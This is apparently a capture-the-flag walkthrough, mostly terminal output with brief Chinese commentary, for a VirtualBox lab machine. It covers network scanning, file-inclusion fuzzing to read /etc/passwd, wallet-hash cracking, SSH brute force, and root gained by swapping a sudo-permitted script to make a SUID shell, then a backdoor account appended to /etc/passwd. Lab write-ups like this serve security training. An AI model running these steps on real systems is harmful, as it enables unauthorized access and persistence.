❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.237 08:00:27:71:45:ac PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f3:f4:8b VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.049 seconds (124.94 hosts/sec). 4 responded ❯ export ip=192.168.60.237 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.237:22 Open 192.168.60.237:80 Open 192.168.60.237:8000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 10:21 CST Initiating ARP Ping Scan at 10:21 Scanning 192.168.60.237 [1 port] Completed ARP Ping Scan at 10:21, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:21 Completed Parallel DNS resolution of 1 host. at 10:21, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:21 Scanning 192.168.60.237 [3 ports] Discovered open port 80/tcp on 192.168.60.237 Discovered open port 22/tcp on 192.168.60.237 Discovered open port 8000/tcp on 192.168.60.237 Completed SYN Stealth Scan at 10:21, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.237 Host is up, received arp-response (0.00039s latency). Scanned at 2025-03-14 10:21:52 CST for 0s PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8000/tcp open http-alt syn-ack ttl 64 MAC Address: 08:00:27:71:45:AC (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ wfuzz -c -u "http://$ip/.admin/tool.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.237/.admin/tool.php?FUZZ=/etc/passwd Total requests: 207643 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000741: 200 24 L 28 W 1163 Ch "file"
❯ wfuzz -c -u "http://$ip/.admin/tool.php?file=FUZZ" -w ../thl/file_inclusion_linux.txt --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.237/.admin/tool.php?file=FUZZ Total requests: 2299 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000899: 200 7 L 22 W 189 Ch "/etc/hosts" 000001016: 200 24 L 28 W 1163 Ch "/etc/passwd" Total time: 2.391690 Processed Requests: 2299 Filtered Requests: 2297 Requests/sec.: 961.2446
❯ wfuzz -c -u "http://$ip/.admin/tool.php?file=/proc/FUZZ/cmdline" -z range,1-1000 --hw 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.60.237/.admin/tool.php?file=/proc/FUZZ/cmdline Total requests: 1000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 0 L 1 W 11 Ch "1" 000000231: 200 0 L 1 W 27 Ch "231" 000000204: 200 0 L 1 W 30 Ch "204" 000000340: 200 0 L 1 W 109 Ch "340" 000000337: 200 0 L 1 W 140 Ch "337" 000000329: 200 0 L 12 W 120 Ch "329" 000000315: 200 0 L 1 W 18 Ch "315" 000000307: 200 0 L 1 W 28 Ch "307" 000000305: 200 0 L 1 W 105 Ch "305" 000000303: 200 0 L 1 W 18 Ch "303" 000000379: 200 0 L 3 W 43 Ch "379" 000000367: 200 0 L 4 W 78 Ch "367" 000000437: 200 0 L 3 W 49 Ch "437" 000000436: 200 0 L 9 W 71 Ch "436" 000000430: 200 0 L 8 W 56 Ch "430" 000000801: 200 0 L 3 W 78 Ch "801" 000000794: 200 0 L 3 W 78 Ch "794" 000000793: 200 0 L 3 W 78 Ch "793" 000000792: 200 0 L 3 W 78 Ch "792" Total time: 1.055091 Processed Requests: 1000 Filtered Requests: 981 Requests/sec.: 947.7847
❯ ssh J4ckie0x17@$ip The authenticity of host '192.168.60.237 (192.168.60.237)' can't be established. ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.237' (ED25519) to the list of known hosts. [email protected]'s password: J4ckie0x17@zerotrace:~$ ls -al total 28 drwx------ 3 J4ckie0x17 J4ckie0x17 4096 mar 11 21:20 . drwxr-xr-x 5 root root 4096 mar 11 23:39 .. lrwxrwxrwx 1 root root 9 mar 11 20:38 .bash_history -> /dev/null -rw-r--r-- 1 J4ckie0x17 J4ckie0x17 220 mar 11 18:37 .bash_logout -rw-r--r-- 1 J4ckie0x17 J4ckie0x17 3526 mar 11 18:37 .bashrc drwxr-xr-x 3 J4ckie0x17 J4ckie0x17 4096 mar 11 18:37 .local -rw-r--r-- 1 J4ckie0x17 J4ckie0x17 807 mar 11 18:37 .profile -rw-r--r-- 1 J4ckie0x17 J4ckie0x17 66 mar 11 18:37 .selected_editor J4ckie0x17@zerotrace:~$ sudo -l [sudo] contraseña para J4ckie0x17: Sorry, user J4ckie0x17 may not run sudo on zerotrace.
通过信息收集，发现在opt/.nobodyshouldreadthis存在提示
1 2 3
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ cat destiny I don't know where it (or they) will take me, but I will always know that Windows is trash. 我不知道它（或它们）会把我带到哪里，但我永远知道Windows是垃圾。
❯ vi secret ❯ ethereum2john secret >hash WARNING: Upon successful password recovery, this hash format may expose your PRIVATE KEY. Do not share extracted hashes with any untrusted parties! ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (ethereum, Ethereum Wallet [PBKDF2-SHA256/scrypt Keccak 256/256 AVX2 8x]) Cost 1 (iteration count) is 262144 for all loaded hashes Cost 2 (kdf [0:PBKDF2-SHA256 1:scrypt 2:PBKDF2-SHA256 presale]) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status dragonballz (secret) 1g 0:00:04:34 DONE (2025-04-02 14:59) 0.003646g/s 11.66p/s 11.66c/s 11.66C/s grecia..imissu Use the "--show" option to display all of the cracked passwords reliably Session completed.
除此之外，我们还在用户ll104567的家目录下发现一个可读文件
提示需要合并两个宇宙，那就是eth以太坊和此字典结合在以一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
(remote) shelldredd@zerotrace:/home/ll104567$ cat one Why don't we join two universes and see who's the strongest? 为什么我们不合并两个宇宙，看看谁更强大？ saitama genos mumen speed-o fubuki bang tatsumaki boros drkuseno onepunchman karin zombieman childemperor stinger
处理一下文本
尝试爆破一下，得到凭证ll104567:dragonballzonepunchman
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ vi dic.txt ❯ awk '{print "dragonballz" $1 ;print $1 "dragonballz"}' dic.txt>pass.txt ❯ hydra -l ll104567 -P pass.txt $ip ssh -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-02 15:07:55 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:1/p:30), ~2 tries per task [DATA] attacking ssh://192.168.60.237:22/ [22][ssh] host: 192.168.60.237 login: ll104567 password: dragonballzonepunchman 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-02 15:08:02
ll104567@zerotrace:~$ sudo -l Matching Defaults entries for ll104567 on zerotrace: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ll104567 may run the following commands on zerotrace: (ALL) NOPASSWD: /bin/bash /home/ll104567/guessme ll104567@zerotrace:~$ file guessme guessme: Bourne-Again shell script, ASCII text executable ll104567@zerotrace:~$ cat guessme #!/bin/bash FTP_USER="admin" FTP_PASS=$(cat /root/.creds)
echo -n "Please provide the password for $FTP_USER: " read -s INPUT_PASS echo
CLEAN_PASS=$(echo"$INPUT_PASS" | sed 's/[[:space:]]//g')
if [[ $FTP_PASS == $CLEAN_PASS ]]; then echo"Password matches!" exit 0 else echo"Access denied!" exit 1 fi
我尝试输入*，即可通过if检查
1 2 3
ll104567@zerotrace:~$ sudo /bin/bash /home/ll104567/guessme Please provide the password for admin: Password matches!
但此文件是在用户家目录下的，我们直接改个名字不就完了😅
重新写个脚本，执行即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
ll104567@zerotrace:~$ mv guessme 11 ll104567@zerotrace:~$ echo"cp /bin/bash /tmp/sh;chmod +s /tmp/sh">guessme ll104567@zerotrace:~$ chmod +x guessme ll104567@zerotrace:~$ sudo /bin/bash /home/ll104567/guessme ll104567@zerotrace:~$ cd /tmp/ ll104567@zerotrace:/tmp$ ls linpeas.sh pspy64 sh systemd-private-9eedb78f1cd3445d8fa1f3f69f9ff682-systemd-logind.service-mXg3PA ll104567@zerotrace:/tmp$ ./sh -p sh-5.2# whoami root sh-5.2# echo'primary:zSZ7Whrr8hgwY:0:0::/root:/bin/bash'>>/etc/passwd sh-5.2# exit exit ll104567@zerotrace:/tmp$ su primary Contraseña: root@zerotrace:/tmp# cd ~ root@zerotrace:~# cat root.txt 0IB3gKtQ82ZBpyvwDo1Gp55snCElXC7U
